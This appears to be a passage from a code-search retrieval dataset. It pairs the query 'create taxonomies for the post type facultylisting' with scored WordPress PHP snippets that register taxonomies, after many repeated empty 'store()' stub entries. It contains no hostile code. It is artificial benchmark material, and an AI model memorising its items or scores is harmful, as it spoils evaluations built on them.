"score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.63394964", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
483b337f0325db8567af362ffd1dc6b2
create taxonomies for the post type "facultylisting"
[ { "docid": "adcd8a1261cd66946cbcf63eb7cddcac", "score": "0.0", "text": "function tax_cmecourse() {\n// Coordinator\n\t$labels = array(\n\t\t'name' => _x( 'Coordinators', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Coordinator', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Coordinators' ),\n\t\t'all_items' => __( 'All Coordinators' )\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => false,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'coordinator' ),\n\t);\n\nregister_taxonomy( 'coordinators', array( 'cmecourse' ), $args );\n//Course Directors\n$labels = array(\n\t\t'name' => _x( 'Course Directors', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Course Director', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Course Directors' ),\n\t\t'all_items' => __( 'All Course Directors' )\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => false,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'course-director' ),\n\t);\nregister_taxonomy( 'course-director', array( 'cmecourse' ), $args );\n//Departments\n$labels = array(\n\t\t'name' => _x( 'Department', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Departments', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Departments' ),\n\t\t'all_items' => __( 'All Departments' )\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'department' ),\n\t);\n\nregister_taxonomy( 'department', array( 'cmecourse' ), $args );\n//Divisions\n$labels = array(\n\t\t'name' => _x( 'Division', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Divisions', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Divisions' ),\n\t\t'all_items' => __( 'All Divisions' )\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => false,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'division' ),\n\t);\n\nregister_taxonomy( 'division', array( 'cmecourse' ), $args );\n//Course Types -- Editable in WordPress\n$labels = array(\n\t\t'name' => _x( 'Course Type', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Course Types', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Course Types' ),\n\t\t'all_items' => __( 'All Course Types' )\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'course-type' ),\n\t);\n\nregister_taxonomy( 'course-type', array( 'cmecourse' ), $args );\n\n}", "title": "" } ]
[ { "docid": "e084ee09a6ae4ec0bc69646241f82db1", "score": "0.72929233", "text": "function axiom_create_staff_taxonomies() \n{ \n //labels for STAFF Category custom post type:\n $staff_category_labels = array(\n 'name' => _x( 'Staff Departmans', \"Staff's Departmans general name\" , 'default' ),\n 'singular_name' => _x( \"Departman' , 'Staff's Departmans singular name\", 'default' ),\n 'search_items' => __( 'Search in departmans' , 'default'),\n 'all_items' => __( 'All Departmans' , 'default'),\n 'most_used_items' => null,\n 'parent_item' => null,\n 'parent_item_colon' => null,\n 'edit_item' => __( 'Edit Departman' , 'default'), \n 'update_item' => __( 'Update Departman' , 'default'),\n 'add_new_item' => __( 'Add new Departman' , 'default'),\n 'new_item_name' => __( 'New Departman' , 'default'),\n 'menu_name' => __( 'Staff Departmans' , 'default'),\n );\n \n register_taxonomy('departman', array('staff'), array(\n 'hierarchical' => true,\n 'labels' => $staff_category_labels,\n 'singular_name' => 'Departman',\n 'show_ui' => true,\n 'query_var' => true,\n 'rewrite' => array('slug' => 'departman' )\n ));\n \n //labels for Skills custom post type\n /*$staff_tag_labels = array(\n 'name' => _x( 'Staff Skills', 'staff skills general name' , 'default' ),\n 'singular_name' => _x( 'Product tags', 'staff skills singular name' , 'default' ),\n 'search_items' => __( 'Search in Staff Skills' , 'default' ),\n 'popular_items' => __( 'Popular Staff Skills' , 'default' ),\n 'all_items' => __( 'All Staff Skills' , 'default' ),\n 'most_used_items' => null,\n 'parent_item' => null,\n 'parent_item_colon' => null,\n 'edit_item' => __( 'Edit Staff Skill' , 'default' ), \n 'update_item' => __( 'Update Staff Skill' , 'default' ),\n 'add_new_item' => __( 'Add new Staff Skill' , 'default' ),\n 'new_item_name' => __( 'New Staff Skill' , 'default' ),\n 'separate_items_with_commas'=> __( 'Separate \"Staff Skills\" with commas', 'default' ),\n 'add_or_remove_items' => __( 'Add or remove Staff Skill' , 'default' ),\n 'choose_from_most_used' => __( 'Choose from the most used staff skills', 'default' ),\n 'menu_name' => _x( 'Staff Skills' , 'staff-skill admin menu name', 'default' ),\n );\n register_taxonomy('staff-skill',array('staff'),array(\n 'hierarchical' => false,\n 'labels' => $staff_tag_labels,\n 'show_ui' => true,\n 'update_count_callback' => '_update_post_term_count',\n 'query_var' => true,\n 'rewrite' => array('slug' => 'staff-skill' )\n ));*/\n}", "title": "" }, { "docid": "5a5d936b8101901ce04773f517e50b11", "score": "0.7178935", "text": "function create_taxonomies() {\n\t// taxonomy_init(\n\t// \t$settings = array(\n\t// \t\t'slug' \t=> 'sample',\t\t\t// Required\n\t// \t\t'singular' \t=> 'Sample',\t\t\t// Required\n\t// \t\t'plural' \t=> 'Samples',\t\t\t// Required\n\t// \t\t'post_types'\t=> 'your_CPT',\t\t\t// Required\n\t// \t)\n\t// );\n}", "title": "" }, { "docid": "bb3cf715971abbca81f79cc4ff4f898c", "score": "0.6967987", "text": "function build_taxonomies() {\n // custom tax\n register_taxonomy( 'main', 'post',\n array(\n 'hierarchical' => true, // true = acts like categories false = acts like tags\n 'label' => 'Categories',\n 'query_var' => true,\n 'show_admin_column' => true,\n 'public' => true,\n 'rewrite' => array( 'slug' => 'main-categories' ),\n '_builtin' => true\n ) );\n }", "title": "" }, { "docid": "6ba2f90647da2fdb10d7eae7f8dd8381", "score": "0.6911999", "text": "function create_testimonial_taxonomies() {\n // Add new taxonomy, make it hierarchical (like categories)\n\n // Staff Categories\n $labels = array(\n 'name' => _x( 'Testimonial Categories', 'taxonomy general name' ),\n 'singular_name' => _x( 'Testimonial Category', 'taxonomy singular name' ),\n 'search_items' => __( 'Search Testimonial Categories' ),\n 'all_items' => __( 'All Categories' ),\n 'parent_item' => __( 'Parent Testimonial Categories' ),\n 'parent_item_colon' => __( 'Parent Testimonial Categories' ),\n 'edit_item' => __( 'Edit Testimonial Category' ),\n 'update_item' => __( 'Update Testimonial Category' ),\n 'add_new_item' => __( 'Add New Testimonial Category' ),\n 'new_item_name' => __( 'New Testimonial Category' ),\n 'menu_name' => __( 'Categories' ),\n );\n\n $args = array(\n 'hierarchical' => true,\n 'labels' => $labels,\n 'show_ui' => true,\n 'show_admin_column' => true,\n 'query_var' => true,\n 'rewrite' => array( 'slug' => 'testimonial_category' ),\n );\n\n register_taxonomy( 'testimonial_category', array( 'testimonials' , 'page' ), $args );\n}", "title": "" }, { "docid": "d8d3f56d80b1d47c375e5a3da366c959", "score": "0.6901271", "text": "function axiom_create_testimonial_taxonomies() \n{ \n //labels for Testimonial Category:\n $testi_category_labels = array(\n 'name' => _x( 'Testimonial Category' , \"Staff's Departmans general name\" , 'default' ),\n 'singular_name' => _x( \"Testimonial Category' , 'Staff's Departmans singular name\", 'default' ),\n 'search_items' => __( 'Search in Testimonial Categories' , 'default'),\n 'all_items' => __( 'All Testimonial Categories' , 'default'),\n 'most_used_items' => null,\n 'parent_item' => null,\n 'parent_item_colon' => null,\n 'edit_item' => __( 'Edit Testimonial Category' , 'default'), \n 'update_item' => __( 'Update Testimonial Category' , 'default'),\n 'add_new_item' => __( 'Add new Category' , 'default'),\n 'new_item_name' => __( 'New Testimonial Category' , 'default'),\n 'menu_name' => __( 'Categories' , 'default'),\n );\n \n register_taxonomy('testimonial-category', array('testimonial'), array(\n 'hierarchical' => true,\n 'labels' => $testi_category_labels,\n 'singular_name' => 'testimonial-category',\n 'show_ui' => true,\n 'query_var' => true,\n 'rewrite' => array('slug' => 'testimonial-category' )\n ));\n}", "title": "" }, { "docid": "3a20752f257ad3104e0607fc3418108f", "score": "0.6836415", "text": "function create_academy_taxonomy() {\n\t\t$labels = array(\n\t\t\t'name' => _x( 'Tipos', 'taxonomy general name', 'textdomain' ),\n\t\t\t'singular_name' => _x( 'Tipo', 'taxonomy singular name', 'textdomain' ),\n\t\t\t'search_items' => __( 'Buscar Tipos', 'textdomain' ),\n\t\t\t'all_items' => __( 'Todos los Tipos', 'textdomain' ),\n\t\t\t'parent_item' => __( 'Tipo Padre', 'textdomain' ),\n\t\t\t'parent_item_colon' => __( 'Parent Genre:', 'textdomain' ),\n\t\t\t'edit_item' => __( 'Editar Tipo', 'textdomain' ),\n\t\t\t'update_item' => __( 'Actualizar Tipo', 'textdomain' ),\n\t\t\t'add_new_item' => __( 'Nuevo Tipo', 'textdomain' ),\n\t\t\t'new_item_name' => __( 'Nuevo Nombre de Tipo', 'textdomain' ),\n\t\t\t'menu_name' => __( 'Tipo', 'textdomain' ),\n\t\t);\n\n\t\t$args = array(\n\t\t\t'hierarchical' => true,\n\t\t\t'labels' => $labels,\n\t\t\t'show_ui' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'query_var' => true,\n\t\t\t'rewrite' => array( 'slug' => 'academy-type' ),\n\t\t);\n\n\t\tregister_taxonomy( 'academy-type', array( 'academy' ), $args );\n\n\t}", "title": "" }, { "docid": "132f450eaf882823acdb47b9743aaf8f", "score": "0.6799113", "text": "function create_staff_taxonomies() {\n\t// Add new taxonomy, make it hierarchical (like categories)\n\n\t// Staff Categories\n\t$labels = array(\n\t\t'name' => _x( 'Staff Tags', 'taxonomy general name' ),\n\t\t'singular_name' => _x( 'Staff Tag', 'taxonomy singular name' ),\n\t\t'search_items' => __( 'Search Staff Tags' ),\n\t\t'all_items' => __( 'All Tags' ),\n\t\t'parent_item' => __( 'Parent Staff Tags' ),\n\t\t'parent_item_colon' => __( 'Parent Staff Tag' ),\n\t\t'edit_item' => __( 'Edit Staff Tag' ),\n\t\t'update_item' => __( 'Update Staff Tag' ),\n\t\t'add_new_item' => __( 'Add New Staff Tag' ),\n\t\t'new_item_name' => __( 'New Staff Tag' ),\n\t\t'menu_name' => __( 'Staff Tags' ),\n\t);\n\n\t$args = array(\n\t\t'hierarchical' => true,\n\t\t'labels' => $labels,\n\t\t'show_ui' => true,\n\t\t'show_admin_column' => true,\n\t\t'query_var' => true,\n\t\t'rewrite' => array( 'slug' => 'staff_tag' ),\n\t);\n\n\tregister_taxonomy( 'staff_tag', array( 'staff' ), $args );\n}", "title": "" }, { "docid": "0bbf73421fd165c9a1276967e691c76f", "score": "0.67753154", "text": "function five_register_my_taxonomies()\n{\n //five_register_taxonomy('custom-taxonomy', 'Custom Taxonomy', 'Custom Taxonomies', ['custom-post-type']);\n}", "title": "" }, { "docid": "06da9df0f11c81d93dfe9848d5165366", "score": "0.6738772", "text": "function create_taxonomies() \n{\n register_taxonomy(\n 'location',\n 'projects',\n array(\n 'labels' => array(\n 'name' => 'Location',\n 'add_new_item' => 'Add New Location',\n 'new_item_name' => \"New Location\"\n ),\n 'show_ui' => true,\n 'show_tagcloud' => false,\n 'hierarchical' => true\n )\n );\n \n register_taxonomy(\n 'category',\n 'projects',\n array(\n 'labels' => array(\n 'name' => 'Category',\n 'add_new_item' => 'Add New Category',\n 'new_item_name' => \"New Category\"\n ),\n 'show_ui' => true,\n 'show_tagcloud' => false,\n 'hierarchical' => true\n )\n );\n}", "title": "" }, { "docid": "158902763ab40656b8706784e49a999f", "score": "0.67102814", "text": "function create_portfolio_taxonomies () {\r\n $labels = [\r\n 'name' => _x('Tecnologías', 'taxonomy general name'),\r\n 'singular_name' => _x('Tecnología', 'taxonomy singular name'),\r\n 'search_items' => __('Busca Tecnologías'),\r\n 'popular_items' => __('Tecnologías más usadas'),\r\n 'all_items' => __('Todas las tecnologías'),\r\n 'parent_item' => null,\r\n 'parent_item_colon' => null,\r\n 'edit_item' => __('Editar tecnología'),\r\n 'update_item' => __('Actualizar tecnología'),\r\n 'add_new_item' => __('Añade una nueva tecnología'),\r\n 'new_item_name' => __('Nombre de nueva tecnología'),\r\n 'separate_items_with_commas' => __('Tecnologías. Separadas por comas.'),\r\n 'add_or_remove_items' => __('Añadir o quitar tecnologías'),\r\n 'choose_from_most_used' => __('Elige de las tecnologías más usadas.'),\r\n 'not_found' => __('No se han encontrado tecnologías.'),\r\n 'menu_name' => __('Tecnologías'),\r\n ];\r\n $args = [\r\n 'hierarchical' => FALSE,\r\n 'labels' => $labels,\r\n 'show_ui' => TRUE,\r\n 'show_admin_column' => TRUE,\r\n 'update_count_callback' => '_update_post_term_count',\r\n 'query_var' => TRUE,\r\n 'rewrite' => array( 'slug' => 'tecnologia' ),\r\n ];\r\n \r\n register_taxonomy( 'tecnologia', 'trabajo', $args );\r\n}", "title": "" }, { "docid": "7fad79c79214361de4d9d0b1c9cb209f", "score": "0.67075634", "text": "function uvasomrfd_do_loop() {\n\tif (is_tax( 'primary')){\n\t$taxonomy = 'primary'; \n\t}\n\tif (is_tax('training-grant')) {\n\t$taxonomy = 'training-grant'; \n\t}\n\tif (is_tax('other-affs')) {\n\t$taxonomy = 'other-affs'; \n\t}\n\tif (is_tax('research-discipline')) {\n\t$taxonomy = 'research-discipline'; \n\t}\n $term = get_query_var( 'term' );\n $term_obj = get_term_by( 'slug' , $term , $taxonomy );\n $cpt = 'faculty-listing'; \n\t$paged = (get_query_var('paged'));\n\t$fac_args = array(\n\t\t'post_type' => $cpt, \n\t\t'meta_key'=>'wpcf-last-name',\n\t\t'orderby' => 'meta_value',\n\t\t'order' => 'ASC',\n\t\t'posts_per_page' => 10,\n \t\t'paged' => $paged,\n\t\t\t'tax_query' => array(\n\t\t\t\tarray(\n\t\t\t\t\t'taxonomy' => $taxonomy,\n\t\t\t\t\t'field' => 'slug',\n\t\t\t\t\t'terms' => array( $term_obj->slug )\n\t\t\t\t\t\n\t\t\t\t)\n\t\t\t)\t\t\n\t);\n\t$loop = new WP_Query( $fac_args );\n\tif( $loop->have_posts() ):\n\t\twhile( $loop->have_posts() ): $loop->the_post(); \n\tuvasomrfd_faculty_printlist();\t\n\tendwhile;\n\t\tgenesis_posts_nav();\n\tendif;\n\twp_reset_query();\n}", "title": "" }, { "docid": "c168b5d4d2d4a99620d9321ec7b6e271", "score": "0.6680965", "text": "function create_taxonomy() {\n\t$args = [\n\t\t'public' => false,\n\t\t'hierarchical' => false,\n\t];\n\n\tregister_taxonomy( get_name( 'slug' ), get_post_types(), $args );\n}", "title": "" }, { "docid": "0c4878833ca8380c2a3317e89fbecf10", "score": "0.6671107", "text": "function cptui_register_my_taxes_team_member_category() {\n\n\t$labels = array(\n\t\t\"name\" => __( \"Team Member Categories\", \"uncode-child\" ),\n\t\t\"singular_name\" => __( \"Team Member Category\", \"uncode-child\" ),\n\t);\n\n\t$args = array(\n\t\t\"label\" => __( \"Team Member Categories\", \"uncode-child\" ),\n\t\t\"labels\" => $labels,\n\t\t\"public\" => true,\n\t\t\"hierarchical\" => false,\n\t\t\"label\" => \"Team Member Categories\",\n\t\t\"show_ui\" => true,\n\t\t\"show_in_menu\" => true,\n\t\t\"show_in_nav_menus\" => true,\n\t\t\"query_var\" => true,\n\t\t\"rewrite\" => array( 'slug' => 'team_member_category', 'with_front' => true, ),\n\t\t\"show_admin_column\" => false,\n\t\t\"show_in_rest\" => false,\n\t\t\"rest_base\" => \"\",\n\t\t\"show_in_quick_edit\" => false,\n\t);\n\tregister_taxonomy( \"team_member_category\", array( \"team\" ), $args );\n}", "title": "" }, { "docid": "2453de8bd116476686f9c5ede6675f72", "score": "0.6658012", "text": "function build_taxonomies() {\n// custom tax\n register_taxonomy( 'from', array('menu'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'From',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'menu-from' ),\n\t\t\t'_builtin' => true\n ) );\n \n register_taxonomy( 'cpt-tag',array('menu','recipe','sources-resources','tips-quips','style-points'), \n array( \n 'hierarchical' => false, // true = acts like categories false = acts like tags\n 'label' => 'Tags',\n 'query_var' => true,\n 'show_admin_column' => true,\n 'public' => true,\n 'rewrite' => true,\n '_builtin' => true\n ) );\n register_taxonomy( 'from-5', array('recipe'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'From',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'recipe-from' ),\n\t\t\t'_builtin' => true\n ) );\n \n register_taxonomy( 'from-2', array('sources-resources'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'From',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'sources-resources-from' ),\n\t\t\t'_builtin' => true\n ) );\n \n register_taxonomy( 'from-3', array('tips-quips'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'From',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'tips-quips-from' ),\n\t\t\t'_builtin' => true\n ) );\n \n register_taxonomy( 'from-4', array('style-points'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'From',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'style-points-from' ),\n\t\t\t'_builtin' => true\n ) );\n register_taxonomy( 'sub', array('menu'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'Sub',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'menu-sub' ),\n\t\t\t'_builtin' => true\n\t\t) );\n register_taxonomy( 'sub-5', array('recipe'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'Sub',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'recipe-sub' ),\n\t\t\t'_builtin' => true\n\t\t) );\n register_taxonomy( 'sub-2', array('sources-resources'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'Sub',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'sources-resources-sub' ),\n\t\t\t'_builtin' => true\n\t\t) );\n register_taxonomy( 'sub-3', array('tips-quips'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'Sub',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'tips-quips-sub' ),\n\t\t\t'_builtin' => true\n\t\t) );\n register_taxonomy( 'sub-4', array('style-points'),\n\t\tarray(\n\t\t\t'hierarchical' => true, // true = acts like categories false = acts like tags\n\t\t\t'label' => 'Sub',\n\t\t\t'query_var' => true,\n\t\t\t'show_admin_column' => true,\n\t\t\t'public' => true,\n\t\t\t'rewrite' => array( 'slug' => 'style-points-sub' ),\n\t\t\t'_builtin' => true\n\t\t) );\n}", "title": "" }, { "docid": "9157010318a9680ae43652af5689c4de", "score": "0.6651805", "text": "public function setTaxonomies() {\n // ## TAXONOMIES ##\n $args = array(\n // ## Fields ##\n array(\n 'taxonomy' => self::TAX_FIELDS,\n 'object_type' => array(self::POST_TYPE_BADGES),\n 'args' => array(\n 'labels' => array(\n 'name' => _x('Fields of education', 'taxonomy general name'),\n 'singular_name' => _x('Field of education', 'taxonomy singular name'),\n 'search_items' => __('Search Fields of education'),\n 'all_items' => __('All Fields of education'),\n 'parent_item' => __('Parent Field'),\n 'parent_item_colon' => __('Parent Field:'),\n 'edit_item' => __('Edit Field'),\n 'update_item' => __('Update Field'),\n 'add_new_item' => __('Add New Field'),\n 'new_item_name' => __('New Field Name'),\n 'menu_name' => __('Field of Education'),\n ),\n 'rewrite' => array('slug' => self::TAX_FIELDS),\n 'hierarchical' => true,\n 'show_ui' => true,\n 